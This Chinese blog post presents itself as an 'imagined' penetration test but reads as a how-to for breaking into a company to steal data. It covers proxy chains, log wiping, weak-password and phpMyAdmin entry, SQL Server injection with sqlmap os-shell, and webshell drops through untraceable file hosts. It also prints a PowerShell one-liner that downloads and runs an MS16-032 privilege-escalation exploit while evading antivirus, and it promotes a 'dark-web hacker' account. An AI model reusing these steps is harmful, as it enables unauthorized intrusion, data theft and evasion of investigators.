记一次YY出来的渗透测试，我怕不是疯了

2020-2-22 14:10 |来自: 互联网 936 0

摘要: 目标是意淫出来的某公司，方向是拿东西。保护策略上我选择虚拟鸡里面V2上洋鸡，洋鸡再V2访问目标，洋鸡不管上不上都定时搽屁股，目标做一次搽一次。如果察觉到异常虚拟鸡直接彻底删掉，能cmd解决的问题绝不上GUI。 c2用免费域名加cloudflare。不知道三四层跳版的大佬是怎样解决效率问题的，困难菜狗，在线膜拜。

关键词： 权限意淫 powershell 东西一下问题流量然后目标 https

搜索公众号：暗网黑客

可领全套安全课程、配套攻防靶场

初始化

目标是意淫出来的某公司，方向是拿东西。

保护策略上我选择虚拟鸡里面V2上洋鸡，洋鸡再V2访问目标，洋鸡不管上不上都定时搽屁股，目标做一次搽一次。

如果察觉到异常虚拟鸡直接彻底删掉，能cmd解决的问题绝不上GUI。

c2用免费域名加cloudflare。

不知道三四层跳版的大佬是怎样解决效率问题的，困难菜狗，在线膜拜。

加载中

大公司踩点拿一血其实很容易，基本上靠Google hack搜一下关键字就能抓到一些权限，比如搜搜phpinfo文件，组合phpmyadmin弱口令分分钟就shell了...

这里本来想上鸡去截个图的，然后发现shell无法连接了，

上去发现文件被勒索了可还行，应该也是相同的问题进来的，好在各种密码都读到手的，权限还在。

比较遗憾的是这台机器进去没有什么有价值的信息，不在内网里，没有想要的东西，用读到的密码去撞其他机器也是无果。

墙内也好墙外也罢弱口令这个问题是经久不衰的，擅用字典，事半功倍。

用这种偷懒的方式陆续拿到几个权限都没找到想要的东西。

由于只有自己一个人在攻击，策略上要是继续这样抓无用的权限效率就会被拖跨。

转战定向的目标，涉及自己想要的东西关键字的站点。以及运维管理，业务管理相关的系统。

筛选的过程可以考虑跑一遍子域名，再把信息批量采集回来，直觉大法寻找软柿子捏，有登录页面的地方都记录下来，交给自动化的工具去批量

跑子域https://github.com/shmilylty/OneForAll批量采集基础信息&截图https://github.com/TheKingOfDuck/domain_screen批量爆破https://github.com/yzddmr6/WebCrack

这样陆陆续续又抓到几个权限，其中不乏涉及想要的字段的系统，缺得也多，革命尚未胜利，菜狗仍需努力。

在打开一个运维管理系统系统时发现输入用户名后它会先查询出是哪个部门供选择。

一看就知道sqlserver的数据库，注入大概率是稳的。

如图，稳的！

这里有个建议: sqlmap的UA直接在代码里面改成随机的，加上代理使其流量默认通过burp，

这样只需要管好Burp的流量出口就可以了，避免忘记加代理参数，其他涉及web流量的引用也是一样，非web流量就Proxifier搞起，防止有些流量通过自己的到目标。

os-shell也是香的

mssql的低权限用户，dir命令不知为何执行不太顺利，比如执行dir C:它返回system32下的东西（验证不是反斜杠转义的问题），然后好多目录没有访问权限。

dir的问题可以用powershell的Get-ChildItem解决，比如：

powershell Get-ChildItem C:

找web路径：

powershell Get-ChildItem d: -Include test.js -recurse

然后写shell，powershell、vbs、certutil、bitadmin、echo等等都可以，写入的内容偏大的话还是远程下载比较合适...

https://www.file.io/

这个网站挺香的，每个上传的文件只能下载一次就失效，github也香，但是得保证是干净的账号才能用，经常传内容的话容易被溯源，

虽然不用实名，但是注册邮箱的选择也要注意。

有shell权限后正常的查AV，寻找可用的提权EXP。

丢进师傅们写好的工具查一下：

http://get-av.se7ensec.cn/index.phphttps://bugs.hacking8.com/tiquan/

目标上有ESET NOD32，查出来的exp直接上传都是被杀了的。

powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/Invoke-MS16-032.ps1');Invoke-MS16-032 -Application cmd.exe -commandline '/c whoami'"

上述脚本执行成功一遍就一直卡在恢复线程中再没执行成功过。

看代码是使用psh的PEloader来加载exp的，很明显这种方式能过nod32。（这种方式能够绝大部分的AV）

对应的改下代码，加载其他exp。